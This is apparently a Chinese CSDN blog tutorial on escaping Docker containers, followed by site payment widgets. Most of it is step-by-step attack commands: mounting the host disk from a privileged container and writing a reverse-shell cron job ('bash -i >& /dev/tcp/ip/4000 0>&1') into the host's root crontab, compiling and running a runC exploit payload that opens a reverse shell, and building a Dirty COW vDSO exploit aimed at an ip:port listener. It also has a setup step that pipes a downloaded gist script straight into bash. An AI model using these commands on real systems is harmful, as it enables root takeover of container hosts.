【无标题】

文章详细介绍了Docker逃逸的原理,包括通过特权模式、服务缺陷和内核漏洞(如脏牛漏洞)进行逃逸的方法。同时,也提供了环境搭建步骤以及如何判断容器是否在特权模式下运行。此外,文章还强调了容器的安全问题,提醒用户关注Docker版本和内核更新以防止逃逸攻击。
摘要由CSDN通过智能技术生成

Docker逃逸
原理
是一个linux下的进程,通过NameSpace 等命令实现内核级别环境隔离(文件、网络、资源),相比虚拟机而言,Docker 的隔离性要弱不少 ,导致可以通过很多方法来进行docker逃逸。
环境搭建

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o docker.sh && bash docker.sh

Docker 环境判断
1.查找.dockerenv文件
docker下默认存在dockerenv文件,而非docker环境中则没有
2.查询cgroup进程

cat /proc/1/cgroup

3、查看容器环境变量

 cat /proc/1/environ

逃逸
1、首先以特权模式运行一个docker容器

docker run -it --privileged 镜像id /bin/bash

2、查看磁盘文件

fdisk -l 

3、新建一个目录,将/dev/vda1挂载至新建的目录

mkdir /test
mount /dev/vda1 /test

4、写入计划任务到宿主机

echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root

5、成功反弹shell

容器逃逸
特权模式逃逸:
以特权模式启动时,docker容器内拥有宿主机文件读写权限,可以通过写ssh密钥、计划任务等方式达到逃逸。

如何判断是否为特权模式:
在suid提权中SUID设置的程序出现漏洞就非常容易被利用,所以 Linux 引入了 Capability 机制以此来实现更加细致的权限控制,从而增加系统的安全性

容器服务缺陷逃逸

runc是一个底层服务工具,runC 管理容器的创建,运行,销毁等,docker部分版本服务运行时底层其实在运行着runc服务,攻击者可以通过特定的容器镜像或者exec操作重写宿主机上的runc 二进制文件,并在宿主机上以root身份执行命令。
影响版本

docker version <=18.09.2

RunC version <=1.0-rc6

环境搭建
1.安装 apt 依赖包,用于通过HTTPS来获取仓库

apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common

2.添加 Docker 的官方 GPG 密钥

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

3.设置稳定版仓库(添加到/etc/apt/sources.list中)

add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

4.更新apt-get

apt-get update

5.查询docker-ce版本

apt-cache policy docker-ce

6.安装指定版本docker

apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

逃逸
1.编译payload中反弹shell地址
2、编译生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

3、编译好后传入docker容器中

docker cp main 1fa6a736e332:/home
docker exec -it 1fa6a736e332 /bin/bash
cd /home/
chmod 777 main

4.运行main程序成功反弹shell

./main

脏牛漏洞逃逸
Dirty Cow是Linux内核中的提权漏洞,源于Linux内核的内存子系统在处理写入拷贝时存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

docker和宿主机共享内核,因此就可利用该漏洞进行逃逸
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
docker-compose run dirtycow /bin/bash

cd /dirtycow-vdso/
make
./0xdeadbeef ip:port 
ttps://blog.csdn.net/weixin_54902210/article/details/129039220
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值